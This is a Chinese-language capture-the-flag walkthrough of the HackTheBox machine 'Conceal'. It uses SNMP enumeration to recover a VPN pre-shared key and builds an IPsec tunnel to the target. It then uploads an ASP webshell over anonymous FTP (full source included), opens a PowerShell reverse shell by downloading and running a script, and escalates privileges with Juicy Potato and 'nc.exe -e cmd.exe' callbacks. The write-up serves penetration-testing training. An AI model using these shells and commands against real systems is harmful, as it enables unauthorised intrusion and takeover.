Conceal是一个困难的靶机,知识点涉及snmp默认口令、IPsec V\P\N、ftp匿名登陆、asp文件上传、烂土豆内核提权等。感兴趣的同学可以在HackTheBox中进行学习。
通关思维导图
0x01 侦查
端口探测
首先通过nmap对目标进行端口扫描,但扫描结果未返回端口信息
nmap -Pn -p- -sV -sC -A 10.10.10.116 -oA nmap_Conceal
可能目标并未开放 tcp 端口,于是使用-sU
参数扫描 udp 端口
nmap -Pn -sU -p- 10.10.10.116 -oA nmap_Conceal_1 --min-rate 1000
扫描结果显示开放端口为500,为 isakmp 服务。那什么是 isakmp 服务呢?
互联网安全关系钥匙管理协议(Internet Security Association and Key Management Protocol),缩写为 ISAKM或 ISAKMP。主要用于在互联网上创建安全关系与加密密钥。该协议提供了一个身份鉴权和钥匙交换的框架,主要被设计来作为密钥交换之用。如IKE(因特网钥匙交换协议)和KINK(Kerberized 因特网钥匙协议)等协议都使用了ISAKMP所提供的授权钥匙的方案。例如:因特网钥匙交换协议(IKE)使用了Oakley和SKEME协议的一部分,通过ISAKMP连接获取授权了的钥匙信息。
再次使用 nmap 对top 20
的端口进行脚本扫描
nmap -Pn -sU -sC --top-ports 20 10.10.10.116 -oA nmap_Conceal_2 --min-rate 1000
通过扫描结果可以发现多个 udp 端口开放,其中显示包含 snmp 协议。与此同时扫描结果还显示 snmp 启用了默认密码,nmap 列举了一些 snmp 接口。
161端口
使用 snmpwalk 通过默认密码public
对 snmp 进行扫描
snmpwalk -v 2c -c public 10.10.10.116
结果显示头部已包含IKE V\P\N password PSK
的值,具体如下所示:
9C8B1A372B1878851BE2C097031B6E43
通过解密网站对该密钥值进行解密,成功解密为Dudecake1!
解密网站:https://crackstation.net/
使用 ike-scan 对目标所在的 IKE 进行扫描
ike-scan -M 10.10.10.116
扫描结果显示 IKE 版本为v1,分别使用 3DES、SHA1、modp1024 进行加密传输。身份验证使用的则是预共享密钥(PSK),在以上我们已经成功拿到其明文,说明可以使用该密钥伪造正常用户进行通信。
扩展知识
IPsec 是一套用于保护IP层流量的工具,通过两种协议来提供不同的安全保证:
身份验证标头(AH),主要用于提供数据完整性(数据在发送方之间是否被修改)、数据源身份验证(源是否不是该连接所期望的),并有效防止重放攻击
封装安全paylaod(ESP),提供类似功能以及保密性(中间人无法看到数据)
安全关联(SA)则是用一组算法来动态交换密钥通过AH或ESP建立安全连接
AH 和 ESP 都可以在以下两种模式下运行:
传输模式:在原始IP头部和IP负载之间插入一个ESP头部,并且在最后面加上ESP尾部和ESP验证数据部分。适用于内部网络的主机安全地访问内部服务器资源
隧道模式:把原始IP数据包整个封装到一个新的IP数据包中,在新的IP头部和原始IP头部之间插入ESP头部,并且在最后面加上ESP尾部和ESP验证数据部分。适用于一个内部网络的主机要安全穿越 Internet 访问另一个内部网络的资源
0x02 上线[destitute]
鉴于这台主机不需要穿越穿越 Internet,所以判断它采用的模式可能为传输模式
连接IPSec
使用 strongswan 连接V\P\N,安装工具可参考如下命令
apt install strongswan
使用该工具前需要编辑配置文件/etc/ipsec.conf
和/etc/ipsec.secrets
参考文章:https://blog.ruanbekker.com/blog/2018/02/11/setup-a-site-to-site-ipsec-V\P\N-with-strongswan-and-preshared-key-authentication/
在ipsec.secrets
中写入传输预共享密钥(PSK)
# This file holds shared secrets or RSA private keys for authentication.
%any : PSK "Dudecake1!"
在ipsec.conf
中写入双方IP、加密模式以及模式类型等
# ipsec.conf - strongSwan IPsec configuration file
config setup
charondebug="all"
uniqueids=yes
strictcrlpolicy=no
conn conceal
authby=secret
auto=route
keyexchange=ikev1
ike=3des-sha1-modp1024
left=10.10.14.2
right=10.10.10.116
type=transport
esp=3des-sha1
rightprotoport=tcp
配置完成后开始连接 IPsec V\P\N
ipsec restart
ipsec up conceal
但是出现错误如下错误:不支持 3des_cbc
我们还需要安装相关插件包
apt-get install libstrongswan-standard-plugins libstrongswan-extra-plugins
再次启动成功连接到V\P\N
端口探测
连上 V\P\N 后我们需要再次使用 nmap 进行端口扫描
nmap -sT -p- -sV -sC --open --min-rate 10000 -oA nmap_Conceal_V\P\N 10.10.10.116
通过扫描结果可以发现目标开放了21、80、125、139以及445端口
80端口
访问后发现这是 IIS 的默认界面
使用 gobuster 进行目录扫描
gobuster dir -u http://10.10.10.116 -w /usr/share/wordlists/dirb/big.txt -x asp,aspx
访问目录/upload
,但是并没有在其中发现什么东西
21端口
通过匿名登录漏洞可登陆 ftp,但是搜索后并没有发现可疑文件或目录
ftp 10.10.10.116
# 账号密码:anonymous/anonymous
ftp > ls
文件上传
尝试在 ftp 目录下上传aspx类型的木马
ftp > put /usr/share/webshells/aspx/cmdasp.aspx cmdasp.aspx
在网站目录upload
中出现cmdasp.aspx
,说明通过 ftp 可将文件上传至网页端
但是访问后出现404,可能上传的木马存在问题,于是使用asp类型的木马
ftp > put /usr/share/webshells/asp/cmdasp.asp cmdasp.asp
访问还是存在问题,可能是因为服务端对执行函数进行了检查,于是上传下面这个简单的木马
<!--
ASP Webshell
Working on latest IIS
Referance :-
https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.asp
http://stackoverflow.com/questions/11501044/i-need-execute-a-command-line-in-a-visual-basic-script
http://www.w3schools.com/asp/
-->
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>
<HTML>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
</BODY>
</HTML>
木马能够成功执行,但是每隔2分钟会自动删除该目录下的文件,因此我们需要通过反弹shell建立稳定的连接
反弹shell
使用 nishang 的脚本Invoke-PowerShellTcp.ps1
建立反弹shell
cp ~/Desktop/nishang/Shells/Invoke-PowerShellTcp.ps1 .
在脚本最后添加反弹地址和端口并上传
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.2 -Port 5555
开启 http 服务
python -m SimpleHTTPServer 80
在本地开启监听
nc -nvlp 5555
访问木马地址后成功反弹shell
http://10.10.10.116/upload/shell.asp?cmd=powershell%20iex(New-Object%20Net.Webclient).downloadstring(%27http://10.10.14.2/Invoke-PowerShellTcp.ps1%27)
在当前用户桌面上寻找第一个flag
dir c:\Users\Destitute\Desktop
type c:\Users\Destitute\Desktop\proof.txt
成功拿到第一个flag
0x03 权限提升[system]
查询内核漏洞
查看系统信息,发现目标操作系统为 Windows 10 Enterprise 且未安装补丁
使用 Windows-Exploit-Suggester 查找相关漏洞,结果显示存在许多提权漏洞
python windows-exploit-suggester.py --database 2021-05-18-mssb.xls --systeminfo systeminfo.txt
烂土豆提权
选择烂土豆(Juicy Potato)进行提权
cp /root/hackthebox/Machines/Bounty/JuicyPotato.exe .
cp /root/hackthebox/Machines/Bounty/nc.exe .
在本地开启nc监听
nc -nvlp 4444
在反弹shell中执行如下命令
certutil.exe -urlcache -f http://10.10.14.2/JuicyPotato.exe C:\WINDOWS\TEMP\JuicyPotato.exe
certutil.exe -urlcache -f http://10.10.14.2/nc.exe C:\WINDOWS\TEMP\nc.exe
C:\WINDOWS\TEMP\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c C:\WINDOWS\TEMP\nc.exe -e cmd.exe 10.10.14.2 4444" -t *
但是执行失败,查看原因后发现原来当前用户无权限进入目录C:\WINODWS\TEMP
尝试在当前用户的temp
目录下上传文件
cd c:\Users\Destitute\appdata\local\temp
certutil.exe -urlcache -f http://10.10.14.2/JuicyPotato.exe JuicyPotato.exe
certutil.exe -urlcache -f http://10.10.14.2/nc.exe nc.exe
在将反弹shell代码写入rev.bat
中
echo C:\users\Destitute\appdata\local\temp\nc.exe -e cmd.exe 10.10.14.2 4444 > rev.bat
尝试指定 Windows 10 Enterprise wuauserv 服务的 CLSID 并使用烂土豆进行提权,在烂土豆项目中查询不同操作系统服务的 CLSID
参考地址:https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_10_Enterprise
JuicyPotato.exe -p C:\users\Destitute\appdata\local\temp\rev.bat -l 1340 -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
成功获取到系统权限
在管理员桌面上寻找第二个flag
dir c:\Users\Administrator\Desktop
type c:\Users\Administrator\Desktop\proof.txt
成功拿到第二个flag
总结:该靶机相对于之前的来说有些不同寻常,从使用UDP的snmp协议入手,通过默认口令public可查询snmp接口信息,值得庆幸的是我们在其中找到了IKE V\P\N预共享密钥,使用该密钥可连接IPsec V\P\N,连接V\P\N后再次使用nmap对靶机进行扫描,发现目标存在ftp和web服务,通过匿名登陆漏洞登陆ftp后上传文件,经过验证ftp目录其实就是站点upload目录,那么我们可通过ftp上传木马并执行反弹shell,从而拿到用户权限,由于靶机的操作系统版本为Windows 10 Enterprise,因此我们需要借助其服务的CLSID完成烂土豆提权,最终可成功将权限提至系统权限。